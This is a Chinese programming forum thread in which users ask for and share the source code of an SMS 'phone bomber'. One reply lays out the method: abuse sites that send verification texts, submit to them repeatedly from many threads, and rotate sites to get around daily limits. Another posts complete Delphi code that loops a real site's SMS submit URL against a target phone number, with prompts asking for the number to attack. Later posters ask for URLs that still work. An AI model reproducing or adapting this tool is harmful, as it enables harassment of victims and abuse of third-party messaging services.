求手机炸弹的源码 ( 积分: 100 )

应该是很简单的程序，我只是想学习一下编程，不是想破坏。我觉得这样的程序比较简单，好学。谢谢啊~~~~~~~~~~~~~~~

应该是很简单的程序，我只是想学习一下编程，不是想破坏。我觉得这样的程序比较简单，好学。谢谢啊~~~~~~~~~~~~~~~

我不知道唉!

有没有人有呀

利用某些站点可以发送短信来做

具体可以手动拦截得到网址

然后制作个程序利用多线程反复提交这个地址

每个线程发送后可以接收到一定的成功的标志,然后终止线程

并且利用攻击站点列表,实现使用不同站点攻击和对付某些站点对手机号每天只发一定数量消息的措施

这个只是构想,我DELPHI不精写不好,但是这个流程是一个成熟的流程,并且早就被使用过

求的是代码~~~~~~~~~~`

我有的，我的程序在家里。等我回家了，我发上来~

利用某些站点可以发送短信来做（就是申请服务发的短信）
不过还没写个`~做个记号```关注中```。。。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, SUIForm, SUIButton, OleCtrls, SHDocVw, StdCtrls,
SUIEdit, SUIDlg, jpeg;

type
TForm1 = class(TForm)
suiForm1: TsuiForm;
Label1: TLabel;
Label2: TLabel;
suiEdit1: TsuiEdit;
suiEdit2: TsuiEdit;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
WebBrowser1: TWebBrowser;
suiButton1: TsuiButton;
suiButton2: TsuiButton;
suiMessageDialog1: TsuiMessageDialog;
Image1: TImage;
procedure suiButton1Click(Sender: TObject);
procedure suiButton2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
sendmsgthread=class(TThread)
protected
procedure execute;override;
end;
var
Form1: TForm1;
mysend: sendmsgthread;
k, i,j:integer;
implementation

{$R *.dfm}
//发送短信的线程
procedure sendmsgthread.execute;
var
n:integer;
begin
n:=strtoint(form1.suiedit2.Text);
try
for j:=1 to n do
begin
form1.WebBrowser1.Navigate('http://www.e9160.com/SMS_Submit.asp?userNumber='+form1.suiedit1.Text);//此处可自行分析网站提交数据的页面。一般主要是一个手机号码的参数，如果有验证码，那就不能利用了！

form1.label4.Caption:=inttostr(j);//显示发了几条了
sleep(4000);//间隔2.5秒
end;
except
mysend.Terminate ;
end;
form1.suiButton1.Enabled :=true;
self.FreeOnTerminate :=true;
end;

procedure TForm1.suiButton1Click(Sender: TObject);
begin

if suiedit1.Text='' then
begin
MessageBox(Application.Handle,'请填写攻击的手机号码','手机轰炸器',MB_OK or MB_ICONINFORMATION);
//showmessage('请填写攻击的手机号码');
abort;
end;
{if suiedit1.Text='139100000' then
begin
MessageBox(Application.Handle,'老兄，有话好好说，不要攻击作者嘛','手机轰炸器',MB_OK or MB_ICONINFORMATION);
//showmessage('请填写攻击的次数');
abort;
end; }
if suiedit2.Text='' then
begin
MessageBox(Application.Handle,'请填写攻击的次数','手机轰炸器',MB_OK or MB_ICONINFORMATION);
//showmessage('请填写攻击的次数');
abort;

end ;
sendmsgthread.Create(false);
end;

procedure TForm1.suiButton2Click(Sender: TObject);
begin
suimessagedialog1.Text:='手机轰炸器 Version 3.2'+#13#13'本程序由 邵杰 设计'+#13+#13+'联系E-mail：yctcsj@163.com'+#13+#13+'不要用于恶意攻击,后果自负';
suimessagedialog1.ShowModal;
end;

end.

使用线程来发送，可以避免程序运行时死机，这是我自己写的代码。呵呵，应该可以领分了！

試試￣￣￣

form1.WebBrowser1.Navigate('http://www.e9160.com/SMS_Submit.asp?userNumber='+form1.suiedit1.Text);//
有沒有好點的網址啊
這個不能通過啊

谢谢，我一直想用idhttp来写。改天再请教吧